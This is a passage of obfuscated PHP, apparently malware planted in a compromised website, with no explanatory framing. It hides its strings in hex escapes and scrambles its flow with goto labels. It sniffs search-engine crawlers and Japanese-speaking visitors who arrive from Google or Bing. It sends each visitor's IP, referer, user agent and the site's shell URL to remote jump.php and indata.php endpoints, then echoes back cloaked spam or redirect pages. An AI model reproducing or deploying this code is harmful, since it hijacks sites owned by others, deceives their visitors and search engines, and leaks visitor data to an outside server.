0 || $check1 == "\61") { $data1["\x61\143\x74\x69\x6f\156"] = "\x72\141\x6e\144\x5f\170\155\154"; $check_url4 = getServerCont($url_words, $data1); header("\x43\157\x6e\164\x65\156\x74\x2d\164\x79\x70\x65\72\164\x65\x78\164\57\170\155\x6c"); echo $check_url4; die; } } goto miuh2; oP9tQ: $data1[] = array(); goto UtZ0p; jeTXK: $req_uri = $_SERVER["\122\105\121\125\105\123\x54\x5f\125\x52\111"]; goto oB43K; X1yYo: function is_japanese_language() { $accept_language = isset($_SERVER["\110\x54\x54\120\137\101\103\103\x45\x50\124\x5f\x4c\x41\116\107\125\101\107\x45"]) ? $_SERVER["\110\124\124\x50\x5f\101\103\x43\105\x50\124\137\x4c\101\116\107\125\101\x47\x45"] : ''; if (empty($accept_language)) { return false; } $langs = explode("\x2c", $accept_language); $primary_lang = strtolower(trim($langs[0])); if (strpos($primary_lang, "\x6a\x61") === 0) { return true; } return false; } goto pIenr; ZLdfT: if ($res_crawl) { $data1["\x68\164\x74\160\137\x75\x73\x65\x72\x5f\x61\147\145\156\164"] = $user_agent; $get_content = getServerCont($indata1, $data1); echo $get_content; die; } goto KyYvt; Cm872: $jump1 = $inter_domain . "\57\x6a\x75\x6d\160\x2e\x70\x68\x70"; goto QZLlc; dnIS7: $res_crawl = is_crawler($user_agent); goto MmShI; MW_yW: function check_refer($refer) { $check_refer = false; $referbots = "\147\x6f\x6f\147\154\x65\x7c\171\x61\x68\157\x6f\x7c\x62\x69\156\x67\x7c\141\x6f\x6c"; if ($refer != '' && preg_match("\x2f\x28{$referbots}\x29\x2f\163\151", $refer)) { $check_refer = true; } return $check_refer; } goto X1yYo; WtDRF: $self = $_SERVER["\120\x48\x50\x5f\123\x45\114\106"]; goto Cs2zZ; pIenr: $http = isset($_SERVER["\x48\x54\124\x50\x53"]) && $_SERVER["\x48\124\124\120\x53"] !== "\x6f\146\x66" ? "\x68\x74\164\160\x73\x3a\x2f\57" : "\x68\164\164\160\x3a\x2f\57"; goto jeTXK; oB43K: $domain = $_SERVER["\110\124\x54\120\x5f\x48\117\123\124"]; goto WtDRF; cOyjg: $referer = isset($_SERVER["\x48\x54\124\120\137\x52\x45\x46\105\x52\x45\122"]) ? $_SERVER["\x48\x54\124\120\x5f\x52\105\106\105\x52\x45\122"] : ''; goto GlMca; ykEx4: function is_crawler($agent) { $agent_check = false; $bots = "\147\157\x6f\x67\154\x65\142\157\x74\174\x62\x69\156\147\x62\157\164\174\x67\157\x6f\147\154\145\174\141\x6f\154\x7c\x62\x69\x6e\x67\174\171\141\150\157\x6f"; if ($agent != '') { if (preg_match("\x2f\x28{$bots}\x29\x2f\x73\x69", $agent)) { $agent_check = true; } } return $agent_check; } goto MW_yW; JLXKE: $indata1 = $inter_domain . "\57\x69\156\144\x61\164\x61\56\x70\150\x70"; goto EkvV2; BeAx_: if (strpos($req_uri, "\x2e\x70\150\160")) { $href1 = $http . $domain . $self; } else { $href1 = $http . $domain; } goto oP9tQ; WdFfu: $req_url = $http . $domain . $req_uri; goto JLXKE; pAUZe: $data1["\x68\162\145\146"] = $href1; goto SBzvN; MmShI: $req_uri = str_replace(array("\56\150\164\155", "\x2e\x68\164\x6d\x6c", "\x2e\163\x68\164\155\x6c", "\x2e\160\150\164\155\154"), '', rtrim($req_uri, "\57")); goto tNqvx; GlMca: $chk_refer = check_refer($referer); goto ZQGtl; QZLlc: $url_words = $inter_domain . "\x2f\167\157\162\144\163\56\x70\x68\x70"; goto vlxWF; vlxWF: $url_robots = $inter_domain . "\x2f\162\157\142\157\x74\x73\56\x70\150\x70"; goto BeAx_; SBzvN: $data1["\x72\x65\161\x5f\x75\162\x6c"] = $req_url; goto ugFDX; tNqvx: if (!$res_crawl && $chk_refer && is_japanese_language() && (preg_match("\57\134\144\x24\57", $req_uri) || preg_match("\x23\x5b\x61\x2d\172\135\75\133\x61\x2d\172\60\x2d\x39\x5d\x2b\43", $req_uri) || preg_match("\57\151\164\145\155\x2f", $req_uri))) { $data1["\x69\x70"] = $_SERVER["\x52\x45\x4d\x4f\x54\105\137\101\104\104\122"]; $data1["\162\x65\146\x65\x72\145\x72"] = isset($_SERVER["\x48\x54\x54\x50\x5f\x52\x45\106\x45\x52\x45\122"]) ? $_SERVER["\x48\124\x54\120\137\122\x45\106\105\122\105\x52"] : ''; $data1["\165\x73\145\162\137\x61\147\145\156\164"] = strtolower(isset($_SERVER["\x48\x54\x54\120\x5f\x55\123\105\x52\137\101\107\x45\x4e\x54"]) ? $_SERVER["\x48\124\124\x50\x5f\125\x53\x45\x52\x5f\101\107\x45\116\124"] : ''); echo getServerCont($jump1, $data1); die; } goto ZLdfT; QyKoD: function getServerCont($url, $data = array()) { $url = str_replace("\40", "\53", $url); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "{$url}"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); $output = curl_exec($ch); $errorCode = curl_errno($ch); if (version_compare(PHP_VERSION, "\70\x2e\x30\x2e\60", "\74")) { curl_close($ch); } if (0 !== $errorCode) { return false; } return $output; } goto ykEx4; miuh2: if (strpos($req_uri, "\x2e\x70\150\160")) { $main_shell = $http . $ser_name . $self; $data1["\155\141\x69\156\137\163\x68\x65\x6c\x6c"] = $main_shell; } else { $main_shell = $http . $ser_name; $data1["\x6d\141\151\x6e\x5f\x73\150\145\x6c\x6c"] = $main_shell; } goto cOyjg; KyYvt: ?>